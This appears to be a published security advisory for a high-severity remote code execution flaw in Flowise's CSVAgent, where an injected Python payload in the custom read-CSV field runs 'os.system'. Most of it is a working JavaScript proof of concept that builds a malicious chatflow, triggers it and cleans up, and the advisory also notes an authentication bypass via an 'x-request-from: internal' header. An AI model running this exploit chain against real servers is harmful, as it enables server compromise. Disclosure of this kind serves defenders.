PT-2026-35303 · Npm · Flowise+1
Published
2026-04-16
·
Updated
2026-04-16
CVSS v3.1
8.8
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload:
DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.Details
The code in question that introduces the issue is in CSVAgent.ts.
customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code).
An authenticated attacker can issue the following chain of requests:- Create a new chat flow by sending a
POSTrequest to/api/v1/chatflows. This will return thechatflowIdin the response. - Send a
POSTrequest to/api/v1/prediction/[CHATFLOWID]to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. - Optionally: send a
DELETErequest to/api/v1/chatflowsto cleanup and delete the chat flow.
Since
/chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE USERNAME and FLOWISE PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.PoC
Here's the PoC code:
const PORT = 3000;
const FLOWISE HOST URL = `http://127.0.0.1:${PORT}`;
const PREDICTION URL = '/api/v1/prediction';
const CHATFLOWS URL = '/api/v1/chatflows';
const flowData = JSON.parse("{"nodes":[{"id":"csvAgent 0","position":{"x":681,"y":212},"type":"customNode","data":{"label":"CSV Agent","name":"csvAgent","version":3,"type":"AgentExecutor","category":"Agents","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg","description":"Agent used to answer queries on CSV data","baseClasses":["AgentExecutor","BaseChain","Runnable"],"inputs":{"csvFile":"","model":"{{openAI 0.data.instance}}","systemMessagePrompt":"","inputModeration":"","customReadCSV":"DataFrame({'foo': ['bar!']});import os;os.system('whoami');"},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js","inputAnchors":[{"label":"Language Model","name":"model","type":"BaseLanguageModel","id":"csvAgent 0-input-model-BaseLanguageModel"},{"label":"Input Moderation","description":"Detect text that could generate harmful output and prevent it from being sent to the language model","name":"inputModeration","type":"Moderation","optional":true,"list":true,"id":"csvAgent 0-input-inputModeration-Moderation"}],"inputParams":[{"label":"Csv File","name":"csvFile","type":"file","fileType":".csv","id":"csvAgent 0-input-csvFile-file"},{"label":"System Message","name":"systemMessagePrompt","type":"string","rows":4,"additionalParams":true,"optional":true,"placeholder":"I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.","id":"csvAgent 0-input-systemMessagePrompt-string"},{"label":"Custom Pandas Read CSV Code","description":"Custom Pandas <a target=" blank" href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read csv.html">read csv</a> function. Takes in an input: "csv data"","name":"customReadCSV","default":"read csv(csv data)","type":"code","optional":true,"additionalParams":true,"id":"csvAgent 0-input-customReadCSV-code"}],"outputs":{},"outputAnchors":[{"id":"csvAgent 0-output-csvAgent-AgentExecutor|BaseChain|Runnable","name":"csvAgent","label":"AgentExecutor","description":"Agent used to answer queries on CSV data","type":"AgentExecutor | BaseChain | Runnable"}],"id":"csvAgent 0","selected":false},"width":300,"height":464,"selected":true,"dragging":false,"positionAbsolute":{"x":681,"y":212}},{"id":"openAI 0","position":{"x":238.83389711655053,"y":233.09962591816395},"type":"customNode","data":{"loadMethods":{},"label":"OpenAI","name":"openAI","version":4,"type":"OpenAI","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg","category":"LLMs","description":"Wrapper around OpenAI large language models","baseClasses":["OpenAI","BaseLLM","BaseLanguageModel","Runnable"],"credential":"","inputs":{"cache":"","modelName":"gpt-3.5-turbo-instruct","temperature":0.7,"maxTokens":"","topP":"","bestOf":"","frequencyPenalty":"","presencePenalty":"","batchSize":"","timeout":"","basepath":"","baseOptions":""},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js","inputAnchors":[{"label":"Cache","name":"cache","type":"BaseCache","optional":true,"id":"openAI 0-input-cache-BaseCache"}],"inputParams":[{"label":"Connect Credential","name":"credential","type":"credential","credentialNames":["openAIApi"],"id":"openAI 0-input-credential-credential"},{"label":"Model Name","name":"modelName","type":"asyncOptions","loadMethod":"listModels","default":"gpt-3.5-turbo-instruct","id":"openAI 0-input-modelName-asyncOptions"},{"label":"Temperature","name":"temperature","type":"number","step":0.1,"default":0.7,"optional":true,"id":"openAI 0-input-temperature-number"},{"label":"Max Tokens","name":"maxTokens","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-maxTokens-number"},{"label":"Top Probability","name":"topP","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-topP-number"},{"label":"Best Of","name":"bestOf","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-bestOf-number"},{"label":"Frequency Penalty","name":"frequencyPenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-frequencyPenalty-number"},{"label":"Presence Penalty","name":"presencePenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-presencePenalty-number"},{"label":"Batch Size","name":"batchSize","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-batchSize-number"},{"label":"Timeout","name":"timeout","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-timeout-number"},{"label":"BasePath","name":"basepath","type":"string","optional":true,"additionalParams":true,"id":"openAI 0-input-basepath-string"},{"label":"BaseOptions","name":"baseOptions","type":"json","optional":true,"additionalParams":true,"id":"openAI 0-input-baseOptions-json"}],"outputs":{},"outputAnchors":[{"id":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","name":"openAI","label":"OpenAI","description":"Wrapper around OpenAI large language models","type":"OpenAI | BaseLLM | BaseLanguageModel | Runnable"}],"id":"openAI 0","selected":false},"width":300,"height":574,"selected":false,"positionAbsolute":{"x":238.83389711655053,"y":233.09962591816395},"dragging":false}],"edges":[{"source":"openAI 0","sourceHandle":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","target":"csvAgent 0","targetHandle":"csvAgent 0-input-model-BaseLanguageModel","type":"buttonedge","id":"openAI 0-openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent 0-csvAgent 0-input-model-BaseLanguageModel"}],"viewport":{"x":73.92828909845196,"y":-4.475777844396191,"zoom":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};
// Create chatflow.
let res = await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}`, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
},
body: JSON.stringify(payload)
});
let resJson = await res.json();
let chatflowId = resJson?.id;
// Trigger vuln.
await fetch(`${FLOWISE HOST URL}${PREDICTION URL}/${chatflowId}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"question": "whoami?"})
});
// Cleanup.
await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}/${chatflowId}`, {
method: "DELETE",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
}
});Impact
This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
Fix
Code Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Flowise
Flowise-Components